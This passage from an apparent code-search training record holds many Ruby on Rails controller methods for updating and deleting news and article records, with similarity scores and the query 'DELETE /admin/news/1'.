redirect_to @news, success: 'Запись успешно обновлена.' }\n format.json { render :show, status: :ok, location: @news }\n else\n format.html { render :edit }\n format.json { render json: @news.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @news = News.find(params[:id])\n \n if !params[:news][:content].blank?\n params[:news][:content] = sanitize(params[:news][:content])\n end\n respond_to do |format|\n if @news.update_attributes(params[:news])\n format.html { redirect_to([:admin,@news], :notice => 'News was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @news.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @news = News.find(params[:id])\n\n respond_to do |format|\n if @news.update_attributes(params[:news])\n flash[:notice] = 'News was successfully updated.'\n format.html { redirect_to([:admin, @news]) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @news.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n authorize @system_news, :update?\n respond_to do |format|\n if @system_news.update(system_news_params)\n format.html { redirect_to @system_news, notice: 'News was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @system_news.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @news.update(news_params) && ( params[ :article ].nil? ^ @news.article.update( params.require(:article).permit(:content) ) )\n format.html { redirect_to admin_news_path(@news), notice: 'News was successfully updated.' }\n format.js\n format.json { head :no_content }\n else\n \tflash[ :warning ] = @news.errors.full_messages.join( '<br>' )\n format.html { render action: 'edit' }\n format.json { render json: @news.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n if @news.update_attributes(news_params)\n render json: @news, status: :ok\n else\n render json: {message: \"Not found\"}, status: :not_found\n end\n end", "def update\n respond_to do |format|\n if @news.update(news_params)\n format.html { redirect_to @news, notice: 'Nyheten uppdaterades!' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @news.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @news.update(news_params)\n format.html { redirect_to @news, notice: 'Новость успешно обновлена' }\n format.json { render :show, status: :ok, location: @news }\n else\n format.html { render :edit }\n format.json { render json: @news.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n # Find news in DB\n @news = News.find(params[:id])\n\n respond_to do |format|\n # Update news\n # Case 1: News updated\n if @news.update_attributes(params[:news])\n # Redirect the user to the news details (show) page\n # Display success message\n format.html { redirect_to @news, notice: 'News was successfully updated.' }\n format.json { head :no_content }\n # Case 2: News not updated\n else\n # Render the edit news form and display any errors\n format.html { render action: \"edit\" }\n format.json { render json: @news.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @news.update(news_params)\n format.html { redirect_to @news, notice: 'An item was successfully updated.' }\n format.json { render :show, status: :ok, location: @news }\n else\n format.html { render :edit }\n format.json { render json: @news.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n if allowAccessIfUserRankAtLeast(1)\n respond_to do |format|\n if @news.update(news_params)\n format.html { redirect_to @news, notice: 'news was successfully updated.' }\n format.json { head :no_content }\n end\n end\n else\n respond_to do |format|\n format.html { render action: 'edit' }\n format.json { render json: @news.errors, status: :unprocessable_entity }\n flash[:notice] = 'You do not have permission to edit this news'\n\n end\n end\n end", "def update\n respond_to do |format|\n if @news.update(news_params)\n format.html { redirect_to news_index_path, notice: 'News was successfully updated.' }\n format.json { render :show, status: :ok, location: @news }\n else\n format.html { render :edit }\n format.json { render json: @news.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @news_update.update(news_update_params)\n format.html { redirect_to @news_update, notice: 'News update was successfully updated.' }\n format.json { render :show, status: :ok, location: @news_update }\n else\n format.html { render :edit }\n format.json { render json: @news_update.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @news.update(news_params)\n format.html { redirect_to @news, notice: 'News was successfully updated.' }\n format.json { render :show, status: :ok, location: @news }\n else\n format.html { render :edit }\n format.json { render json: @news.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @news.update(news_params)\n format.html { redirect_to @news, notice: 'News was successfully updated.' }\n format.json { render :show, status: :ok, location: @news }\n else\n format.html { render :edit }\n format.json { render json: @news.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @newsinfo.update(newsinfo_params)\n format.html { redirect_to @newsinfo, notice: 'Newsinfo was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @newsinfo.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n\t\tif !current_user\n\t\t\tredirect_to '/'\n\t\t\treturn\n\t\tend\n\t\trespond_to do |format|\n\t\t\tif isAdmin && @news.update(news_params)\n\t\t\t\tmsg = \"<span class=\\\"alert alert-success\\\">News was successfully updated.</span>\"\n\t\t\t\tformat.html { redirect_to \"/admin/\", notice: msg }\n\t\t\t\tformat.json { render :show, status: :ok, location: @news }\n\t\t\telse\n\t\t\t\tformat.html { render :edit }\n\t\t\t\tformat.json { render json: @news.errors, status: :unprocessable_entity }\n\t\t\tend\n\t\tend\n\tend", "def update\n respond_to do |format|\n if @news_item.update(news_item_params)\n format.html { redirect_to [:admin, @news_item], notice: 'News item was successfully updated.' }\n format.json { render :show, status: :ok, location: @news_item }\n else\n format.html { render :edit }\n format.json { render json: @news_item.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @news.update(news_params)\n format.html { redirect_to @news, notice: t('flash.notice.news_updated') }\n format.json { render :show, status: :ok, location: @news }\n else\n format.html { render :edit }\n format.json { render json: @news.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @news_post = NewsPost.find(params[:id])\n\n respond_to do |format|\n if @news_post.update_attributes(params[:news_post])\n format.html { redirect_to @news_post, notice: 'News post was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @news_post.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n params[:news][:category] = \"默认\" if params[:news][:category] == \"\"\n @news = News.find(params[:id])\n \n respond_to do |format|\n if @news.update_attributes(params[:news])\n flash[:success] = \"恭喜,新闻修改成功\"\n format.html { redirect_to news_index_path(:id => @news.id) }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @news.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @news_post.update_attributes(params[:news_post])\n format.html { redirect_to @news_post, :notice => 'Веста е успешно ажурирана.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @news_post.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @news = News.find(params[:id])\n @title = t('label.news.editing')\n\n respond_to do |format|\n if @news.update_attributes(params[:news])\n flash[:notice] = t('message.news.updated')\n format.html { redirect_to(news_item_path(:id=>@news)) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @news.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @news_post = NewsPost.find(params[:id])\n\n respond_to do |format|\n if @news_post.update_attributes(params[:news_post])\n format.html { redirect_to @news_post, notice: 'News post was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @news_post.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @live_news = LiveNews.find(params[:id])\n\n respond_to do |format|\n if @live_news.update_attributes(params[:live_news])\n format.html { redirect_to(admin_live_news_path(@live_news), :notice => 'Live news was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @live_news.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @news.update(news_params)\n format.html { redirect_to news_index_path, notice: 'Uutisen päivitys onnistui' }\n format.json { render :index, status: :ok, location: news_index_path }\n else\n @alert = @news.errors\n format.html { render :edit }\n format.json { render json: @news.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @gg_news.update(gg_news_params)\n format.html { redirect_to @gg_news, notice: 'Gg news was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @gg_news.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @news = News.find(params[:id])\n\n respond_to do |format|\n if @news.update_attributes(params[:news])\n format.html { redirect_to(@news, :notice => 'News was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @news.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @news = News.find(params[:id])\n\n respond_to do |format|\n if @news.update_attributes(params[:news])\n format.html { redirect_to(@news, :notice => 'News was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @news.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @news = News.find(params[:id])\n\n respond_to do |format|\n if @news.update_attributes(params[:news])\n format.html { redirect_to(@news, :notice => 'News was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @news.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @news = News.find(params[:id])\n\n respond_to do |format|\n if @news.update_attributes(params[:news])\n format.html { redirect_to(@news, :notice => 'News was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @news.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @user_news.update(user_news_params)\n format.html { redirect_to @user_news, notice: 'Пользовательская новость была успешно обновлена.' }\n format.json { render :show, status: :ok, location: @user_news }\n else\n format.html { render :edit }\n format.json { render json: @user_news.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @news_datum = NewsDatum.find(params[:id])\n\n respond_to do |format|\n if @news_datum.update_attributes(params[:news_datum])\n format.html { redirect_to @news_datum, notice: 'News datum was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @news_datum.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @admin_article = Admin::Article.find(params[:id])\n @admin_article.format_title = @admin_article.title.gsub(/ /,\"_\").downcase\n\n respond_to do |format|\n if @admin_article.update_attributes(params[:admin_article])\n format.html { redirect_to @admin_article, notice: 'Article was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @admin_article.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @article_news.update(article_news_params)\n format.html { redirect_to @article_news, notice: \"Article new was successfully updated.\" }\n format.json { render :show, status: :ok, location: @article_news }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @article_news.errors, status: :unprocessable_entity }\n end\n end\n end", "def patch!\n request! :patch\n end", "def update\n \n params[:news][:category_news_id] = params[:category]\n @news = News.find(params[:id])\n\n respond_to do |format|\n if @news.update_attributes(params[:news])\n format.html { redirect_to news_index_url, notice: 'News was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @news.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n #if User is admin\n if current_user.admin?\n @article.approved = true\n end\n respond_to do |format|\n if @article.update(article_params)\n format.html { redirect_to admin_dashboard_articles_path, notice: 'Article was successfully updated.' }\n format.json { render :show, status: :ok, location: @article }\n else\n format.html { render :edit }\n format.json { render json: @article.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @news_latest.update(news_latest_params)\n format.html { redirect_to action: \"index\", notice: 'News latest was successfully updated.' }\n format.json { render :show, status: :ok, location: @news_latest }\n else\n format.html { render :edit }\n format.json { render json: @news_latest.errors, status: :unprocessable_entity }\n end\n end\n end", "def update(url, data)\n RestClient.put url, data, :content_type => :json\nend", "def update\n respond_to do |format|\n if @news_item.update_attributes(params[:news_item])\n format.html { redirect_to @news_item, :notice => 'News item was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: 'edit' }\n format.json { render :json => @news_item.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @company_news.update(company_news_params)\n format.html { redirect_to company_news_path, notice: 'Новость отредактирована' }\n format.json { render :show, status: :ok, location: @company_news }\n else\n format.html { render :edit }\n format.json { render json: @company_news.errors, status: :unprocessable_entity }\n end\n end\n end", "def UpdateArticle id,params = {}\n \n APICall(path: \"help_center/articles/#{id}.json\",method: 'PUT',payload: params.to_json)\n \n end", "def update\n @admin = Admin.find(params[:id])\n\n if @admin.update(admin_params)\n head :no_content\n else\n render json: @admin.errors, status: :unprocessable_entity\n end\n end", "def update\n respond_to do |format|\n if @api_v1_news_link.update(api_v1_news_link_params)\n format.html { redirect_to @api_v1_news_link, notice: 'News link was successfully updated.' }\n format.json { render :show, status: :ok, location: @api_v1_news_link }\n else\n format.html { render :edit }\n format.json { render json: @api_v1_news_link.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @news_list = NewsList.find(params[:id])\n\n respond_to do |format|\n if @news_list.update_attributes(params[:news_list])\n format.html { redirect_to @news_list, notice: 'News list was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @news_list.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @news_agency = NewsAgency.find(params[:id])\n\n respond_to do |format|\n if @news_agency.update_attributes(params[:news_agency])\n format.html { redirect_to @news_agency, notice: 'News agency was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @news_agency.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @alumni_news_item.update(alumni_news_item_params)\n format.html { redirect_to @alumni_news_item, notice: 'Alumni news was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @alumni_news_item.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @staffnews.update(staffnews_params)\n format.html { redirect_to @staffnews, notice: 'Staffnews was successfully updated.' }\n format.json { render :show, status: :ok, location: @staffnews }\n else\n format.html { render :edit }\n format.json { render json: @staffnews.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @news_update = NewsUpdate.find(params[:id])\n\n respond_to do |format|\n if @news_update.update_attributes(params[:news_update])\n format.html { redirect_to(@news_update, :notice => 'News update was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @news_update.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n auth_privilege\n\n respond_to do |format|\n if @article.update(article_params)\n format.html { redirect_to @article }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @article.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n news_topic_params[:context].gsub!(\"\\n\", '</br>')\n news_topic_params[:short_context].gsub!(\"\\n\", '</br>')\n\n respond_to do |format|\n if @news_topic.update(news_topic_params)\n format.html { redirect_to news_topics_path, :notice => 'News topic was successfully updated.' }\n format.json { render :show, :status => :ok, :location => @news_topic }\n else\n format.html { render :edit }\n format.json { render :json => @news_topic.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @info = Info.find(params[:id])\n\n respond_to do |format|\n if @info.update_attributes(params[:info])\n flash[:notice] = 'News was successfully updated.'\n format.html { redirect_to([:admin, @info]) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @info.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @hotnews_read = HotnewsRead.find(params[:id])\n\n respond_to do |format|\n if @hotnews_read.update_attributes(params[:hotnews_read])\n format.html { redirect_to @hotnews_read, notice: 'Hotnews read was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @hotnews_read.errors, status: :unprocessable_entity }\n end\n end\n end", "def update!(params)\n res = @client.put(path, nil, params, \"Content-Type\" => \"application/json\")\n @attributes = res.json if res.status == 201\n res\n end", "def update\n @news = News.find(params[:id])\n \n respond_to do |format|\n if @news.update_attributes(params[:news])\n format.html { redirect_to edit_category_news_path(@news.category, @news), notice: 'News was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\", :category_id => @news.category, :id => @news }\n format.json { render json: @news.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @newsfile.update(newsfile_params)\n format.html { redirect_to @newsfile, notice: 'Newsfile was successfully updated.' }\n format.json { render :show, status: :ok, location: @newsfile }\n else\n format.html { render :edit }\n format.json { render json: @newsfile.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n@article=Article.find(params[:id])\n @article.title=params[:article][:title]\n@article.body=params[:article][:body]\n respond_to do |format|\n if @article.update(article_params)\n format.html { redirect_to @article, notice: 'successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @article.errors, status: :unprocessable_entity }\n end\n end\nend", "def update(request)\n end", "def update(request)\n end", "def set_api_v1_news\n @api_v1_news = News.find(params[:id])\n end", "def update\n respond_to do |format|\n if @news_story.update(news_story_params)\n format.html { redirect_to @news_story, notice: 'News story was successfully updated.' }\n format.json { render :show, status: :ok, location: @news_story }\n else\n format.html { render :edit }\n format.json { render json: @news_story.errors, status: :unprocessable_entity }\n end\n end\n end", "def update # PATCH\n raise NotImplementedError\n end", "def update\n expire_one(params[:id])\n @article = Article.find(params[:id])\n\n respond_to do |format|\n if @article.update_attributes(params[:article])\n format.html { redirect_to([:admin, @article], :notice => 'Article was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @article.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @article = current_user.articles.find(params[:id])\n\n if @article.approved?\n params[:article].delete(:title)\n params[:article].delete(:teaser)\n end\n\n respond_to do |format|\n if @article.update_attributes(params[:article])\n format.html { redirect_to @article, notice: 'Article was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @article.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n @news_post.category = news_post_params[:for_roles]\n if @news_post.update(news_post_params.except(:for_roles))\n format.html { redirect_to @news_post, notice: t('news.post_updated') }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @news_post.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @studentnews.update(studentnews_params)\n format.html { redirect_to @studentnews, notice: 'Studentnews was successfully updated.' }\n format.json { render :show, status: :ok, location: @studentnews }\n else\n format.html { render :edit }\n format.json { render json: @studentnews.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @import_ma_news.update(import_ma_news_params)\n format.html { redirect_to @import_ma_news, notice: 'Import ma new was successfully updated.' }\n format.json { render :show, status: :ok, location: @import_ma_news }\n else\n format.html { render :edit }\n format.json { render json: @import_ma_news.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @article = Article.find(params[:id])\n\t\tdeny_access_unless(can_edit?(@article))\n\t\t\n\t\topts = {}\n\t\topts = { :as => :editor } if can_edit?(@article)\n\t\topts = { :as => :admin } if admin?\n\n respond_to do |format|\n if @article.update_attributes(params[:article], opts)\n format.html { redirect_to @article, :notice => 'Article was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @article.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @api_v1_todo.update(api_v1_todo_params)\n format.json { render json: @api_v1_todo, status: :ok }\n else\n format.json { render json: @api_v1_todo.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n authorize! :manage, :all\n @marquee = Marquee.find(params[:id])\n\n respond_to do |format|\n if @marquee.update_attributes(params[:marquee])\n format.html { redirect_to @marquee, notice: 'Manchete alterada com sucesso.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @marquee.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @todo = Todo.find(params[:id])\n @todo.update_attributes(params[:todo])\n render :json => @todo\n end", "def update\n @news_article = NewsArticle.find(params[:id])\n \n respond_to do |format|\n if @news_article.update_attributes(params[:news_article])\n flash[:notice] = 'NewsArticle was successfully updated.'\n format.html { redirect_to(@news_article) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @news_article.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n params[:post_date] = DateTime.now\n respond_to do |format|\n @news_item.assign_attributes(params, :as=>@role)\n if @news_item.save\n format.html { redirect_to @news_item, :notice => 'NewsItem was successfully updated.' }\n format.json { render :json => @news_item.ajax_attrs(@role) }\n else\n\t format.html { redirect_to @news_item, :notice => 'Failure updating news_item.' }\n format.json { render :json=>report_error(@news_item)}\n end\n end\n end", "def update\n respond_to do |format|\n if @article.update_attributes(params[:article])\n format.html { redirect_to [:edit, @article], notice: 'Article modifié.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @article.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n\n respond_to do |format|\n if @article.update_attributes(params[:article])\n format.html { redirect_to @article, notice: 'Article was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @article.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @admin.update(admin_params)\n format.html { redirect_to @admin, notice: 'Admin was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @admin.errors, status: :unprocessable_entity }\n end\n end\n end", "def edit\n\n\n admin_edit_prep\n\n respond_to do |format|\n format.html {render :layout => 'artist_admin'}\n format.json {\n render :json => {\n :success => true,\n :\"#{@hook}\" => render_to_string(\n :action => 'admin.html.erb',\n :layout => @layout,\n ),\n :\"edit\" => \"true\",\n :\"admin-show\" => \"true\",\n\n }\n }\n end\n end", "def rest_edit(path, options={}, &blk)\n callback = Proc.new { |*args|\n @object = yield(*args) or pass\n rest_params.each { |k, v| @object.send :\"#{k}=\", v unless k == 'id' }\n\n return 400, @object.errors.to_json unless @object.valid?\n\n @object.save\n rest_respond @object\n }\n\n # Make it work with `Backbone.emulateHTTP` on.\n put path, &callback\n post path, &callback\n end", "def rest_edit(path, options={}, &blk)\n callback = Proc.new { |*args|\n @object = yield(*args) or pass\n rest_params.each { |k, v| @object.send :\"#{k}=\", v unless k == 'id' }\n\n return 400, @object.errors.to_json unless @object.valid?\n\n @object.save\n rest_respond @object\n }\n\n # Make it work with `Backbone.emulateHTTP` on.\n put path, &callback\n post path, &callback\n end", "def update\n respond_to do |format|\n if @newsline.update(newsline_params)\n format.html { redirect_to @newsline, notice: 'Newsline was successfully updated.' }\n format.json { render :show, status: :ok, location: @newsline }\n else\n format.html { render :edit }\n format.json { render json: @newsline.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @article.update_attributes(params[:article])\n flash[:notice] = 'Article was successfully updated.'\n format.html { redirect_to([:admin, @article]) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @article.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update!(**args)\n @client = args[:client] if args.key?(:client)\n @list_update_requests = args[:list_update_requests] if args.key?(:list_update_requests)\n end", "def update\n @article = Article.unscoped.find(params[:id])\n\n unless current_user.is_admin? or (current_user == @article.author and !@article.is_verified?)\n raise ActionController::RoutingError.new('Not Found')\n end\n\n respond_to do |format|\n if @article.update_attributes(params[:article])\n format.html { redirect_to @article, flash: { success: '文章修改成功' } }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @article.errors, status: :unprocessable_entity }\n end\n end\n end", "def put!\n request! :put\n end", "def update\n\n respond_to do |format|\n if @news_item.update_attributes(params[:news_item])\n format.html { redirect_to(news_items_path, :notice => t(\"screens.notice.successfully_updated\")) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @news_item.errors, :status => :unprocessable_entity }\n end\n end\n end", "def edit\n # Find news in DB\n @news = News.find(params[:id])\n end", "def update\n respond_to do |format|\n if @article.update_attributes(params[:article])\n format.html { redirect_to @article, notice: 'Article was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @article.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @article = Article.find(params[:id])\n\n respond_to do |format|\n if @article.update_attributes(params[:article])\n format.html { redirect_to(admin_article_path(@article), :notice => 'Article was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @article.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @project_news.update(project_news_params)\n format.html { redirect_to @project_news, notice: 'Project news was successfully updated.' }\n format.json { render :show, status: :ok, location: @project_news }\n else\n format.html { render :edit }\n format.json { render json: @project_news.errors, status: :unprocessable_entity }\n end\n end\n end" ]
[ "0.6849178", "0.68208855", "0.6757747", "0.6724604", "0.6692453", "0.6686013", "0.66364336", "0.66312397", "0.66067886", "0.66059685", "0.6570141", "0.655431", "0.6538015", "0.6535931", "0.6482358", "0.6475982", "0.64731276", "0.6469534", "0.6393496", "0.6391767", "0.6391753", "0.6366314", "0.6365912", "0.6359365", "0.6359365", "0.6355617", "0.63506824", "0.63311845", "0.63216096", "0.63158417", "0.6301156", "0.62967265", "0.6283253", "0.6273586", "0.6236717", "0.6226921", "0.6212484", "0.6194185", "0.6194185", "0.6194185", "0.6194185", "0.618079", "0.61738586", "0.6169927", "0.6161952", "0.6136812", "0.6127058", "0.61183316", "0.6115778", "0.60933596", "0.60849935", "0.6084542", "0.6081918", "0.60748875", "0.6074194", "0.60612935", "0.6051805", "0.60444874", "0.6032343", "0.60262793", "0.6022111", "0.6013522", "0.60037345", "0.5998775", "0.5991648", "0.5982409", "0.5970155", "0.5952169", "0.59410274", "0.59410274", "0.5937925", "0.5936696", "0.5932735", "0.59278744", "0.5926943", "0.5925483", "0.5923435", "0.592165", "0.59201854", "0.5918451", "0.59148866", "0.5912375", "0.59068185", "0.59062195", "0.58776623", "0.5873655", "0.5861483", "0.5854193", "0.585379", "0.585379", "0.5852421", "0.5847406", "0.58468264", "0.5846372", "0.5845255", "0.58444166", "0.58443326", "0.5839815", "0.58341974", "0.58300537" ]
0.61059034
49
DELETE /admin/news/1 DELETE /admin/news/1.json
def destroy if @news.removed? || @news.draft? @news.destroy respond_to do |format| format.html { redirect_to admin_news_index_path, notice: 'Новость успешно удалена!' } format.json { head :no_content } end else @news.removed! respond_to do |format| format.html { redirect_to admin_news_index_path, notice: 'Новость успешно помечена как удаленная!' } format.json { head :no_content } end end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def destroy\n @news.destroy\n respond_to do |format|\n format.html { redirect_to admin_news_index_path }\n format.json { head :no_content }\n end\n end", "def destroy\n @admins_news.destroy\n respond_to do |format|\n format.html { redirect_to admins_news_index_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @admin_useful_news = Admin::UsefulNews.find(params[:id])\n @admin_useful_news.destroy\n\n respond_to do |format|\n format.html { redirect_to admin_useful_news_index_url }\n format.json { head :no_content }\n end\n end", "def destroy\n # Find news in DB\n @news = News.find(params[:id])\n # Delete news\n @news.destroy\n\n respond_to do |format|\n # Redirect the user to the news index page\n format.html { redirect_to news_index_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @admin_news.destroy\n respond_to do |format|\n format.html { redirect_to admin_news_index_url, notice: 'News cancellata con successo!.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @news.destroy\n respond_to do |format|\n format.html { redirect_to :news_index }\n format.json { head :no_content }\n end\n end", "def destroy\n @news = News.find(params[:id])\n @news.destroy\n\n respond_to do |format|\n format.html { redirect_to(admin_news_index_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @news = News.find(params[:id])\n @news.destroy\n\n respond_to do |format|\n format.html { redirect_to(admin_news_index_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @news.destroy\n respond_to do |format|\n format.html { redirect_to news_index_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @admin_news.destroy\n respond_to do |format|\n format.html { redirect_to admin_news_index_url, notice: '刪除新聞成功' }\n format.json { head :no_content }\n end\n end", "def destroy\n @news = News.find(params[:id])\n @news.destroy\n\n respond_to do |format|\n format.html { redirect_to news_index_path }\n format.json { head :no_content }\n end\n end", "def destroy\n @news = News.find(params[:id])\n @news.destroy\n\n respond_to do |format|\n format.html { redirect_to news_index_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @news = News.find(params[:id])\n @news.destroy\n\n respond_to do |format|\n format.html { redirect_to news_index_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @news = News.find(params[:id])\n @news.destroy\n\n respond_to do |format|\n format.html { redirect_to news_index_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @news = News.find(params[:id])\n @news.destroy\n\n respond_to do |format|\n format.html { redirect_to news_index_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @news.destroy\n respond_to do |format|\n format.html { redirect_to news_index_url, notice: 'Новость успешно удалена' }\n format.json { head :no_content }\n end\n end", "def destroy\n @news.destroy\n respond_to do |format|\n format.html { redirect_to news_index_path, notice: t('flash.notice.news_deleted') }\n format.json { head :no_content }\n end\n end", "def destroy\n @news.destroy\n respond_to do |format|\n format.html { redirect_to news_index_url, success: 'Запись успешно удалена.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @news.destroy\n respond_to do |format|\n format.html { redirect_to news_index_path, notice: 'Uutinen poistettu' }\n format.json { render :index, status: :ok, location: news_index_path }\n end\n end", "def destroy\n @news = News.find(params[:id])\n @news.destroy\n\n respond_to do 